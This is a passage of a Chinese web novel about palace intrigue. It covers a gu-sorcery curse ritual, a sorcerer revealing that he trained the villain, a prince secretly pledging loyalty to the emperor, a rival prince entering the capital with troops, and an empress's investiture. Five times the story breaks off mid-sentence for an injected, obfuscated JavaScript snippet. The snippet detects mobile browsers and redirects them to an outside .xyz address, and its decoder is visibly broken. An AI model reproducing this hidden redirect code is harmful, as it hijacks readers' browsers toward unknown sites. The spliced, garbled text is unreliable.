“请陛下盘膝坐好,凝神静气,无论发生什么,定要守住一点清明,万万不可昏迷。” 郑遂依言在影巫身旁盘膝坐下,闭上双眼,强迫自己进入一种四大皆空的状态。 巫咸打开藤箱,取出一个漆黑的陶罐。 他揭开罐口,一股混合着腐朽与腥甜的气息瞬间弥漫开来。 罐中,一只通体血红、形如蜈蚣却生有无数细密触须的诡异蛊虫正缓缓蠕动。 巫咸口中念诵起晦涩难懂的咒语,手指蘸取了罐中一点暗紫色的粘稠液体,在郑遂心口位置描绘下繁复诡异的符文。 符文绘成,巫咸眼神一厉,手指如电,猛地刺向那血红蛊虫。 蛊虫发出一声尖锐刺耳的嘶鸣,身体瞬间化作一道血线,顺着巫咸的手指钻入了郑遂心口刚刚绘好的符文中心。 “呃……”郑遂闷哼一声。 身体剧震,双眼猛地睁开。 一股像是要将他灵魂都撕裂的剧痛,瞬间从心口炸开。 那不是刀剑之伤带来的痛,而像是有无数带着倒刺的冰冷钢针,狠狠扎进心脏最深处,并且还在疯狂地搅动、撕扯。 冷汗瞬间浸透了龙袍,郑遂面容也因极致的痛苦而逐渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287989|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扭曲变形。 即便牙齿咬得咯咯作响,嘴角溢出一丝鲜血,也无法真正忍受住这种痛苦。 而几乎就在郑遂遭受剧痛的同时,地上原本稍显平静的影巫猛地弓起了身体,发出了一声凄厉的哀嚎。 他双目圆睁,眼球布满血丝几乎要凸出来,身体以极为扭曲的角度佝偻着,双手死死抠住自己的心口,指甲几乎深深陷入皮肉,很快胸口上的衣衫就被撕裂,露出几年鲜血淋漓的伤口。 “是时候了。”巫咸说道。 就在话落瞬间,两道噬心咒在影巫心脉中互相撕咬翻滚了起来。 几乎每一次碰撞,都让影巫痛不欲生。 他的身体开始不受控制地在地上疯狂翻滚起来。 郑遂身体上的痛楚也瞬间加剧了百倍,影巫所承受的每一分痛苦,都变本加厉地通过母蛊和子蛊之间诡异的联系传递到他的身上。 他分明能够感觉到,自己的心脏像是被无数只毒虫同时啃噬,被无形的力量撕成碎片,又被强行糅合在一起。 剧烈的痛苦如同滔天巨浪,一波又一波地冲击着郑遂摇摇欲坠的意识。 郑遂眼前已经开始阵阵发黑,耳中嗡鸣不止,身体剧烈地颤抖着? 全靠一股强大的意志力死死支撑,才没有昏厥过去。 “守住!陛下!守住!”巫咸的声音传来。 他双手结印,口中咒语不停,周身散发出淡淡的灰色光晕笼罩住了郑遂和影巫,竭力控制着二人,让他们不要彻底失了神智。 王喜瘫在一旁,看着郑遂和影巫痛苦挣扎着,已是老泪纵横、心如刀割。 却只能死死捂住自己的嘴,不敢发出一点声音惊扰。 不知道时间过了多久,影巫的身子终于一点点放松了下来。 他整个人像是刚从水里捞出来一样,无力的瘫软在地上,但是神智明显清明了一些。 郑遂缓缓睁开眼,身上的痛楚已然消失,但额上仍旧青筋未消。 第159章 清理门户 影巫的意识终于一点点艰难地拼凑起来,逐渐上浮,直至终于清醒。 五脏六腑间那种烈火灼烧一般的剧痛已然褪去,留下的是心脉深处一种动作间被牵扯的钝痛,以及四肢百骸绵软的虚脱感。 但好在,最熬人的时候已经过去了。 影巫费力地掀开沉重的眼皮,模糊的视线里,首先映入眼帘的是金砖地上那片从他口中吐出来的,刺目的暗红血污。 紧接着,他看到了盘坐在身旁的郑遂。 徐敬意脸色前所未有的苍白,额角鬓发早已经被冷汗浸透。 明黄的龙袍皱巴巴地贴在身上,满身都是疲惫,唯有那双深邃的眼眸依旧定定地看着他。 影巫瞬间明白了。 噬心咒的反噬……郑遂替他承受了! 难以言喻的酸涩猛地冲上喉头,几乎让他再次窒息。 影巫挣扎着想爬起来,但消耗了大量精力后,身体却早已像散了架,只能艰难地侧过身,额头重重磕在冰冷坚硬的金砖地上。 “陛下……”影巫声音嘶哑的开口。 “属下……属下……” 千言万语堵在喉间,却什么都说不出来,最终只化为更深的叩首。 他不知自己何德何能,能换来郑遂以命相助。 但从今以后他的命,就是郑遂的了。 王喜在一旁看着,又是心疼又是欣慰,抹着泪想上前搀扶。 郑遂深吸一口气,压下心口残留的隐痛,搭着王喜的手缓缓站起身,走到影巫身前。 他伸出微凉的手,轻轻按在了影巫微微颤抖的肩膀上。 “活着就好。”郑遂沙哑,已经是疲倦至极。 他无法回应影巫太多,但影巫的诚意,他领了。 “此劫已过,先下去好生休养。朕,还有话与巫咸先生谈。” 影巫重重应了一声:“是!奴才叩谢陛下再造之恩!此身此命,皆为陛下所赐,万死不辞!” 他再次深深叩首,这才在王喜的搀扶下,踉跄着退了出去。 御书房内,只剩下了郑遂和巫咸二人,气氛陡然变得有些微妙。 郑遂的目光重新落回到巫咸身上。 这位老者依旧平静,仿佛刚才什么都没发生过一样。 枯槁的面容在灯影下显得沟壑纵横,那双眼睛却深不见底。 郑遂能够感觉到,巫咸其实早在一开始就对此事有所把握。 “先生妙手回天,解朕心腹之危,朕必有重谢。”郑遂缓缓开口。 “只是……先生这等手段,闻所未闻。不知先生与那下咒之人……是何渊源?” 巫咸沉默了片刻,原本古井无波的眼睛里终于闪过一丝复杂。 他没有立刻回答,而是伸出手,缓缓地揭开了自己脸上那层薄如蝉翼假面。 一张更为苍老,却布满了诡异刺青的脸庞暴露在郑遂面前。 “陛下,老朽,乃是鬼师的仇人,亦是他曾经最亲近的人。” 郑遂的瞳孔骤然收缩! 饶是他帝王心性深沉似海,此刻也难掩心中剧震,猛地从御座上霍然起身。 “你?!你……你是他的……” “不错,草民巫咸,正是那孽障慕容垂的授业师父。” 郑遂倒吸一口凉气。 师徒一场,竟要走到仇人的地步? “鬼师……”郑遂默默念着这个名字,“他竟拜你为师?” 巫咸枯槁的脸上露出一抹苦涩的笑容,他缓缓坐下,目光投向摇曳的烛火,神情有些恍惚,仿佛陷入了遥远的回忆中。 “那是在……很久很久以前了。”巫咸的声音变得有些飘渺。 一个普通的夜晚,风雨欲来,巫咸所隐居的寒山脚下,忽然来了一个妇人,身边还带着一个瘦得脱了形的男孩。 那妇人一身华服早已污损不堪,眼神惊惶,一看便是仓皇出逃的贵眷。 她跪在泥泞里,磕头如捣蒜,求巫咸收留她病弱的儿子,只求一口饭吃,一个活命的机会。 “她自称是遭仇家追杀的商贾遗孀,那孩子……便是鬼师。狼狈而死的摄政王之子,慕容垂。” 那孩子躲在妇人身后,浑身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287990|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湿透,冻得瑟瑟发抖,脸色青白得像个**,唯独那双眼睛还亮得吓人。 可他眼里没有任何孩童该有的恐惧或懵懂,只有一片死寂的冰冷,以及那种寻常人看不出来的,可在巫咸眼里却能看透的,像是淬了毒似的幽怨。 他当时的眼神,就像狼崽子盯着猎人。 巫咸一眼就看出了这孩子是个好苗子,但是也很快就洞悉了这二人的身份。 身着华服却如此狼狈,只怕不是落魄商贾那么简单。 当时摄政王的事闹的厉害,巫咸猜出来了。 所以巫咸没有同意。 他这样的身份,还是不宜插手红尘。 那妇人来之前已经病了,很快就死去。 那孩子就沉默地跪在妇人的尸体旁,在巫咸草庐外整整跪了三天三夜。 任凭风吹雨打,也一动不动。 话至此处,巫咸顿了顿,似乎在平复翻涌的情绪。 “老朽避世多年,本不欲沾染尘缘,更不欲收徒。可那孩子身上的戾气太重,重得让山间的毒虫都绕道而行。老朽……知道他有了本事,只恐为祸一方。 而且他当时求巫咸,不是求活命,不是求温饱。 “他跪在我面前,说的第一句话是:教我**。” 郑遂的心猛地一沉。 “老朽拒绝了无数次,将他赶出山门无数次。他总能找到路爬回来,继续跪在门外。” 直到一次,他在山**瘴中差点丢了性命,只剩一口气吊着,却仍死死攥着巫咸的衣角。 稚子无辜,或许他也分辨不出是非,才会有那般可怕的想法。 所以,巫咸一时间动了恻隐之心,想着或许可以引他回到正途。 “老朽教他巫蛊秘术,教他控魂御鬼之道,本意是让他以术法护身,明心见性,化解戾气。他学得极快,快得令人心惊,仿佛那些阴诡之术天生就是为他准备的。他沉默寡言,恭敬顺从,老朽一度以为……戾气已化,只待时间磨砺……” 巫咸猛地睁开眼,那双古井无波的眼睛里忽然爆发出浓浓的的痛悔。 第160章 果然没有看错人 “老朽万万没想到!万万没想到啊!”巫咸枯瘦的手掌重重拍在藤箱上。 “他竟用老朽教他的本事,行此逆天害理,丧心病狂之事,操控人心,祸乱朝纲,弑君杀父,挑起无边杀孽,更将噬心咒这等阴损至极的咒法,用到了如此地步。” 巫咸猛然抬头,死死盯住郑遂。 “所以今日老朽来此,不为救世,不为报恩,只为清理门户!这孽障,留不得了!老朽定要亲手……除、了、他!” 话音落下的瞬间,窗外一道惨白的闪电骤然撕裂了夜幕。 郑遂深深的看着他,忽然觉得心安稳了一分。 —— 皇后册封大典将至,皇城张灯结彩,处处透着喜庆。 几位藩王早已抵京,安置在各自的馆驿。 可那几位被郑遂一次关注着的,却迟迟不见踪影。 麟德殿设了夜宴,琉璃盏中盛的美酒在烛火的映衬下流光溢彩,丝竹管弦靡靡,舞姬身姿曼妙。 席间推杯换盏,诸位藩王表面一团和气。 郑遂面前垂珠遮住了大半的脸,探究的视线扫过下首众人,手中时不时的把玩着九龙白玉杯,已隐隐察觉台下正波涛暗涌。 酒过三巡,气氛稍稍松缓一些。 下首几位离得近些的藩王仗着有丝竹声的遮掩,便有些压不住窃窃私语了起来。 “秦王架子愈发大了,皇后册封这等大事,竟也迟迟不至?” “哼,他哪敢来?不过话说回来了,韩王、魏王不也未见人影?莫不是……” “嘘……慎言!不过……陛下大婚,如此怠慢,未免太不把陛下放在眼里了吧?” “依我看,怕是拥兵自重,故意给陛下难堪。” 议论声虽低,却还是一字不落的钻进了郑遂的耳朵。 郑遂握着酒杯的手指微微一顿,眼眸一转,忽然将九龙玉杯拍在案上。 啪—— 丝竹骤停,中央起舞的舞姬瞬间僵立,随即连忙跪下。 满殿的谈笑风生戛然而止,所有人的目光都惊疑不定的聚焦到了御座之上。 郑遂缓缓抬起眼,冕旒珠玉轻晃,露出一双深不见底的眼。 他没有看那几个议论的藩王,目光漫不经心地扫过全场,随即忽然开口。 “朕的几位手足,或是镇守边关,军务繁重,或是路途遥远,兼有风雨阻滞。晚到几日,情有可原。” 他顿了顿,目光忽然变得凌厉。 “尔等在此妄加揣测,议论宗室亲王,是何居心?莫非是嫌朕这麟德殿的歌舞,不够尽兴?” 那几个刚才还低声议论的藩王瞬间脸色煞白,冷汗涔涔,慌忙跪倒。 “臣等失言!陛下恕罪!” “臣等绝无此意!陛下明鉴!” 可心里头却早就泛起了嘀咕。 郑遂这般做派,又是何意? 郑遂冷冷地看着阶下匍匐的身影,端起酒杯,仰头将杯中的御酒一饮而尽。 喉结滚动间,目光却似有意似无意地扫过下首一个相对安静的席位。 那里端坐着一个清俊男子,身着低调的靛青亲王常服,气质温润如玉,与周遭的华服贵胄相比,显得有些格格不入。 正是郑遂最小的皇叔,清河王郑晏。 清河王似乎感受到了郑遂的目光,也正抬眸看向御座。 视线与郑遂的目光在空中短暂地交汇了一瞬,随即便垂下眼帘。 郑遂的嘴角几不可查向上牵动了一下,没做任何表态。 夜宴在压抑的气氛中草草收场。 郑遂回到灯火通明的寝殿,挥退了所有侍奉的宫人。 刚换上一身玄色常服,笃笃的敲门声便响起。 “陛下。”王喜的声音隔着门板传来,“有人求见。” 郑遂没有回头,心中却早已知道门外来者是谁。 他沉默了片刻,才缓缓开口。 “宣。” 殿门无声开启,一道清俊的身影悄无声息地踏了进来,正是清河王。 他已经换上了一身玄色常服,缓步走到殿中,对着郑遂的背影依礼躬身。 “臣郑晏,深夜惊扰陛下,万望恕罪。” 郑遂这才转过身,脸上已换上恰到好处的温和笑意。 “皇叔何须多礼?快快请坐。”郑遂热情地虚扶了一下,引着清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287991|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 河王在窗边的紫檀木圈椅上坐下,自己也撩袍坐在对面。 王喜早已悄无声息地奉上两盏清茶,又迅速退到阴影角落,垂首侍立。 “皇叔深夜前来,可是在驿馆住得不惯?”郑遂端起茶盏,如同闲话家常般关切问道。 清河王微微欠身:“承蒙陛下关怀,驿馆一切安好。只是……” 他抬起眼,目光深邃的直视着郑遂。 “臣心中有些事,辗转难眠,思虑再三,觉得还是应当面禀陛下。” 郑遂抿了一口茶,不动声色:“哦?皇叔但说无妨。” 郑晏放下茶盏,声音压低。 “就在臣动身来京前几日,韩王……曾秘密到访臣的清河封地。” 郑遂端着茶盏的手指几不可查地顿了一下。 清河王的声音清晰而平稳地继续道: “他……向臣提出,要借兵。” “哦?”郑遂声音淡淡,听不出喜怒。 “这韩王……倒是心急。皇叔是如何应对的?” 清河王清俊的脸上毫无波澜,坦然回应。 “臣不敢擅专,彼时虚与委蛇,假意应承了下来,只道需筹措粮秣,点校兵丁,请他稍待些时日。” 他微微一顿,声音压的更低。 “实则,臣封地一兵一卒,皆系于陛下。何时动,如何动,臣……悉听皇命。” 郑遂心中一震。 果真如此! 清河王这位看似游离于权力漩涡之外的闲散亲王,竟是他这盘死局中,深藏不露的一枚活棋。 是先帝,为他心爱的小儿子留下的最后一道屏障。 郑遂看着眼前这位气质温润,眼神却异常清亮坚定的皇叔,一时竟有些无言。 所有的试探、猜疑,在此刻都显得多余。 这份在韩王兵锋威逼下依旧岿然不动的忠诚,已经足够郑遂托付于他。 郑遂猛地站起身,绕过案几,走到清河王面前,双手重重按在对方的肩膀上。 “好!好皇叔!朕果然没有看错人!” 【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次阅读~】 第161章 亲手斩杀郑遂 清河王温和一笑,微微颔首:“此乃臣之本分。” 郑遂深吸一口气,压下心头的激荡。 缓缓松开手,踱回窗边,望着窗外沉沉的夜色。 “皇叔。”郑遂再次缓缓开口。 “当年……父皇龙驭宾天之际,朕尚年幼,宫中风云诡谲。多亏有几位忠心耿耿的老宫人,拼死护着……” 他没有说完,但话中的深意,已然足够清河**白。 清河王闻言,嘴角缓缓勾起一抹淡淡的笑意,端起那杯已经微凉的茶,轻轻呷了一口,才抬眼看向郑遂挺拔的背影。 “陛下所念之人,臣也时常挂怀。他们都还念着旧主,在各自的地方,安分守己,却也时刻准备着。等着……回来伺候陛下呢。” 郑遂猛然松了一口气。 清河王不仅带来了兵,更带来了深埋于宫闱、朝堂乃至宗室内部,那些只忠于先帝、忠于正统的暗棋。 这股力量一旦启动,便足以在关键时刻扭转乾坤。 “好!”郑遂只吐出一个字,余下什么都没说。 但这短短一个字,已经足够表达出郑遂心中所有的激动了。 有了清河王这话,他的计划都不再会是孤注一掷的悬崖独舞,而是有了更坚实的根基和更锋利的爪牙。 可就在这君臣默契,心意相通之时,清河王忽然放下茶盏,清亮的眸子直直地望向郑遂眼底深处。 “陛下。”清河王轻声道。 “臣……斗胆一问。臣观陛下行事,果决狠厉,洞烛机先,与臣记忆中那位……温厚纯良、甚至有些优柔的太子殿下,似乎……大不相同了。” 郑遂愣在原地。 方才还游刃有余的他,忽然就不知如何作答。 后知后觉的,一股寒意冲上郑遂脊梁。 清河王他看出来了? 可明明……他们才是第一次见。 清河王的目光依旧平和,但却没有丝毫恶意。 可正是因为如此,才让郑遂感到了前所未有的压力。 他可以坦然面对影巫,因为影巫是他的刀,郑遂不在意透露更多,让这把刀和自己融为一体。 但眼前这位清河王……郑遂不知道该如何作答。 只因他太了解皇室了。 他见过真正的太子郑遂,所以他的怀疑不是空穴来风,甚至不需要太多的观察。 就在郑遂心念电转,思索着如何回应之时,清河王却忽然笑了。 “陛下不必为难。”清河王轻声道,“臣只是一时感慨罢了。” 他站起身,对着郑遂深深地作了一揖,姿态恭谨依旧,眼神却变得无比复杂。 “臣其实是想说……” 清河王抬起头,目光越过郑遂,仿佛穿透了殿宇的穹顶,投向某个遥远的过去。 “陛下是谁,对臣而言,或许并不重要。” 郑遂的瞳孔骤缩。 不在意? 那他的意思是…… “重要的是……”清河王向来温和的声音陡然变得决绝。 “这一战,臣希望,当年那位被皇兄临终之际都都惦记着的小太子能赢。” 话音落下的瞬间,郑遂只觉得心中骤然浮现出一股难以言喻的激动。 他身体微微一晃,竟不由自主地后退了半步。 清河王他什么都知道,或者说,他猜到了最核心的部分,但他选择了忠诚!他选择了站在“郑遂”这一边。 只因为,他忠于的是那个被先帝托付江山,需要赢得这场生死之战的小太子。 无关身份,只关道义,只关承诺! 巨大的冲击让郑遂胸口剧烈起伏,他看着眼前这位清俊儒雅、忠心耿耿的皇叔,千言万语哽在喉头,最终只化作一句发自肺腑的一句。 “朕,谢过皇叔!” 清河王深深看了郑遂一眼,没再多言,再次躬身一礼,如来时一般,悄无声息地退入了殿外的沉沉夜色之中,仿佛从未出现过。 寝殿内只剩下郑遂一人。 他依旧扶着冰冷的窗棂,沉默许久,忽然转身,大步走向御案。 “王喜!” “老奴在!” “即刻传朕密令!” “命禁军统领赵川珩,自即日起,所有精锐化整为零,着便服,携短刃**,秘密潜伏于京城各处要害。城门、官署、宗室馆驿、通衢要道!无朕亲持虎符下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287992|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令,任何人不得擅动!违令者,斩!” “是!老奴遵旨!”王喜领命,迅速退下, 郑遂独立于案前,望着摇曳的烛火。 山雨欲来,风已满楼。 而他的网,已然无声无息地张开,只待……群魔入彀! 深夜,荆州城门大开。 韩王一身银色甲胄,红披风随风摇曳,正坐于高头大马之上。 身后心腹幕僚打马而来,飞速奔至韩王面前,满脸喜色的跪在地上。 “殿下,咱们成了!” 韩王的心里猛松了一口气。 等了这么多日,终于在拖到不能再拖的时候得到了好消息。 但骤然得到这个惊喜,韩王还是忍不住多嘴问了一句。 “清河王那边怎么说?” “殿下放心。”幕僚的嘴角几乎要咧到耳根去。 “清河王愿借兵给殿下,但提出了一个条件。” 韩王眯起眼睛。 他就知道事情不会那么简单的。 不过也罢,只要他能答应下来就好。 而且既然用人,就必然要付出一些代价。 当然了,如果他所求的条件太大的话,韩王日后也必会找他清算。 却听那幕僚说道:“清河王殿下只有一个条件,斩杀郑遂小儿之时,由他亲自动手。” 韩王听闻此言,必不可免地愣了一下。 这清河王向来温润如玉,从不与谁发生争端。 可是如今看来,幕僚之前所说的那些话是对的。 别看着清河王闲云野鹤,实际上说不准,早就已经恨**当政之人了。 先帝在世的时候,他向来守拙,不能露出一丝一毫的过人之处。 而如今,先帝已经**,他难道还要被那个比他小不了几岁的侄子压一头吗? 没想到啊,没想到,这清河王也是有野心的。 韩王忍不住狂放大笑了起来。 好好好,既然如此,那就得好好利用一下这个清河王了。 如果他的条件只像他说的那么简单最好,如果不是,他杀了郑遂,韩王手中也有了他的把柄,不愁以后拿捏不住他。 第162章 让天真的亮起来 天光未亮,京城西门便传来沉重的马蹄声。 荆州铁骑涌入尚在沉睡的京城。 为首的韩王一身亮银锁子甲,猩红披风在寒风中猎猎作响。 他端坐于高大战马之上,眼神倨傲,扫视着晨雾中巍峨的皇城轮廓,嘴角不禁噙上了一丝毫不掩饰的得意。 他故意绕行皇城主街,率领部下走在青石板路上,战马铁骑与路面碰撞,发出刺耳的声响,惊醒了不少沿途居住的百姓。 众人纷纷出来看,下的大惊失色。 盔甲碰撞,旌旗招展,这本该是在战场之上才能看到的景象,可这些人此刻却堂而皇之地踏入了天子脚下,还是在皇帝即将大婚之事,其意昭然若揭。 百姓们不禁议论纷纷,不敢发出太高的声音,生怕惊动了面前路过的这尊大佛。 韩王要的就是这个效果,嘴角露出一抹得意的笑。 敲山震虎,向所有人宣告他的到来,以及他手中足以搅动乾坤的力量。 即便尚未开战,可也要把自己的士气展现出来,这也是他的一大策略。 宫门处,守卫的禁军显然早已接到旨意,并未阻拦,只是目光冰冷地注视着这支气势汹汹的藩王亲卫。 韩王对此浑不在意,只带了数名心腹悍将,昂首阔步,直闯内廷。 乾清宫,郑遂并未在正殿等韩王,而是身着常服,披着一件玄色大氅,独自负手立于殿前汉白玉丹陛之上。 “臣弟郑凛,参见陛下!军务缠身,兼之路途阻滞,来迟一步,还请陛下恕罪!”韩王大步流星地踏入,拱手行礼。 他动作看似恭敬,但那腰板挺得笔直,眼神更是直刺御座方向,哪里有半分“请罪”的诚意? 分明是**。 郑遂缓缓转过身,脸上带着一丝恰到好处的温和笑意。 “韩王一路辛苦。”郑遂轻声道,“荆州军务繁重,你能在皇后册封大典前赶到,朕心甚慰。何罪之有?” 韩王闻言,心中冷笑更甚。 他向前逼近一步:“陛下体恤,臣感激不尽!不过,臣在路上听闻一些风言风语,说臣等几位兄弟迟迟不至,是拥兵自重,对陛下大不敬?” 他目光灼灼地盯着郑遂,毫不掩饰自己的试探。 “不知陛下……可曾听闻这等宵小之言?若让臣查出是谁在背后嚼舌根,离间天家骨肉,定要将他**万段!” 他这番话,既是试探郑遂的态度,更是借题发挥,暗含威胁。 郑遂脸上的笑容淡了一分,目光平静地迎上韩王咄咄逼人的视线。 “哦?”郑遂微微挑眉,语气依旧不疾不徐。 “韩王的消息倒是灵通,昨夜麟德殿宴上,确有几位宗亲酒后失仪,妄议亲王行止。朕已当庭申饬。” 他顿了顿,向前走了一步,距离韩王更近了些。 虽未着甲胄,但那久居上位的帝王威仪,却已经在无形中弥散开来,竟让一身铁甲的韩王感到一丝莫名的压力。 “不过,”郑遂话锋一转。 “父皇在世时当时便言明,诸王或镇守边陲,或路途遥远,若京城有召,晚到情有可原。但韩王今日入宫,为何是特意来向朕解释拥兵自重、给朕难堪的吗?” 韩王脸上的得意瞬间僵住。 他本想先声夺人,却不料郑遂轻描淡写地就将“妄议”的帽子扣回那几个倒霉宗亲头上,更直接点破了他话语中隐含的拥兵自重之意,反将了他一军! 这解释二字,更是诛心。 他堂堂韩王,手握重兵本就是先帝临终前的旨意,合情合理,合规合法,何须向人解释? 可郑遂偏偏用这看似温,实则暗藏锋芒的言语,逼得他不得不接话。 韩王喉咙滚动了一下,强行压下那股憋屈之感,朗声道。 “臣绝无此意!陛下明鉴,臣对陛下,忠心耿耿。荆州军,亦是陛下之军。臣只是忧心陛下受奸人蒙蔽,离间了手足之情。” 郑遂笑着点头:“你的忠心,朕自然知晓。否则,父皇当年也不会将荆州托付于你。只是……” 郑遂话锋一转。 “这忠心,需得以行动来证,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287993|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非言语。既已入京,便安心参加皇后册封大典。待大典之后,朕还想听听韩王对北境边防、对朝廷赋税新政的高见。届时,你我兄弟再促膝长谈,如何?” 韩王只觉得一口气堵在胸口,吐不出来也咽不下去。 郑遂这四两拨千斤的手段,让他有种一拳打在棉花上的憋闷感。 他想炫耀的兵锋,被对方不动声色的堵了回来。 他想质问的怠慢,被对方用情有可原化解。 他试图营造的压迫感,更是在对方的帝王气度面前也显得有几分虚张声势。 韩王再怎么大胆,再怎么认为自己已经有能力和郑遂抗衡,可终究不敢在宫禁之内与郑遂真的撕破脸皮。 时候还未到呢。 此刻翻脸,名不正言不顺。 那他韩王就是乱臣贼子! 他还需要等待清河王的兵马到位,更需要等待名正言顺的时机。 “陛下所言极是。”韩王几乎是咬着牙关挤出了这几个字。 “臣……遵旨!定当好好准备,与陛下促膝长谈!” “如此甚好。”郑遂仿佛没看到他眼中翻涌的戾气,满意地点点头,脸上重新挂起温和的笑意。 “你一路劳顿,先去驿馆歇息吧。朕,等着在大典上看到你的风采。” 韩王身子骤然一僵。 半晌,才咬牙切齿道:“臣……告退!” 说完,他猛地转身,带着满腔的愤怒离去。 郑遂站在原地,脸上的笑容缓缓敛去,目光落在地上一层薄雪上,韩王的脚印。 影巫缓缓走来,蹙眉道:“陛下,韩王……颇有大不敬之意。” “朕知道。”郑遂微微颔首,“你身体未愈,先行歇息吧。” 影巫抿了抿嘴唇,没有说话。 在他转身离去前,郑遂忽然昵喃了一句。 “雪快化了。” 影巫转头看他,忽然明白了郑遂的意思。 想要雪上无痕,不是将这雪除去,而是要让这天…… 真的亮起来。 第163章 凭什么她这么好命 吉日已至,皇城被装点得如同琼楼玉宇。 彩绸如霞,宫灯如昼。 自午门至太和殿的漫长御道上,尽数铺着崭新的猩红毡毯,两侧肃立着盔明甲亮的御林军,旌旗猎猎,仪仗森严。 皇后册封大典,乃国朝盛事,亦是新帝登基后确立后宫、稳固国本的头等大事。 宗室亲王、文武百官、勋贵命妇,皆着最隆重的朝服冠冕,依品级序列于太和殿前的广场之上,静候帝后。 吉时一到,钟鼓齐鸣,庄严肃穆的韶乐响彻云霄。 郑遂身着十二章纹玄色衮服,头戴十二旒冕冠,在百官的朝贺声中,缓步登上太和殿象征着至高权力的九层丹陛。 不久,在众身份尊贵的女官的簇拥下,身着凤冠霞帔、盖着龙凤呈祥大红盖头的新后徐妍,由宫人搀扶着,沿着御道缓缓行来。 徐妙晴看向她,不禁有些咬牙切齿。 不过短短大半年,徐妍已然脱胎换骨。 步摇轻颤,环佩叮咚,虽不见真容,但那雍容华贵的仪态,已令人心折。 谁能想到她曾经只是一个小小庶女,被她兄妹二人**利用的工具罢了。 而除了不屑,更多的是嫉妒。 她和徐妍一样,同样是被徐敬意利用的工具。 可是徐妍却挣扎出了一条自己的路,甚至能得到如此郑重的一个封后大典。 回想自己当初,被徐敬意像个物件一样塞进花轿,走皇宫偏门悄无声息的被塞进了后宫。 哪怕是继后,可甚至都不如最低阶嫔妃入宫时该有的排场。 徐敬意就是为了敲打自己,让她明白即便成为皇后,她也不配。 徐妙晴这才恨。 在众人各异的目光中,徐妍已经一步步走上丹陛,最终在郑遂身侧站定。 礼部尚书展开明黄圣旨,朗声宣读册封诏书。 字字珠玑,宣告着大郑王朝新一任国母的诞生。 百官跪拜,山呼万岁千岁,声浪震天,场面恢弘至极。 可在这看似一派祥和,普天同庆的表象之下,暗流却在无声涌动。 韩王站在亲王队列的最前方,一身亲王**袍,身姿挺拔如松。 他脸上挂着得体的微笑,眼神却极为阴鸷,毫不掩饰地投向丹陛之上的郑遂和新后。 秦王则站在稍后的位置,脸色阴沉得几乎能滴出水来。 他本就因路途遥远、消息不畅而错过了太多,又算得上是待罪之身,而心惊胆战。 再加上来了之后郑遂并未问罪反而刻意疏远,秦王愈发搞不懂他的意思而早就心存怨怼。 尤其是今日大典,他明显被安排在了一个相对边缘的位置,与从前受到的关注不可同日而语,简直是昭告天下,郑遂现在不待见他,说不定什么时候就要问罪,这不等同于打他的脸? 此刻看着丹陛上那对璧人,秦王眼神早已晦暗不明,袖中的拳头紧握,仿若随时都要冲上去与郑遂扭打在一起。 而徐敬意,正位列文臣之首。 郑遂让徐妍过继到了他的名下,成为了徐家主脉正儿八经的嫡女,徐敬意就算是国丈了。 即便他心思不轨,也知道郑遂此举不见得安了什么好心,但并不妨碍他满面红光,频频向周围恭贺的同僚点头致意。 不过若有心细看,便能发现他那笑容深处,并无多少真正的喜意,反而眼中满是算计的惊慌。 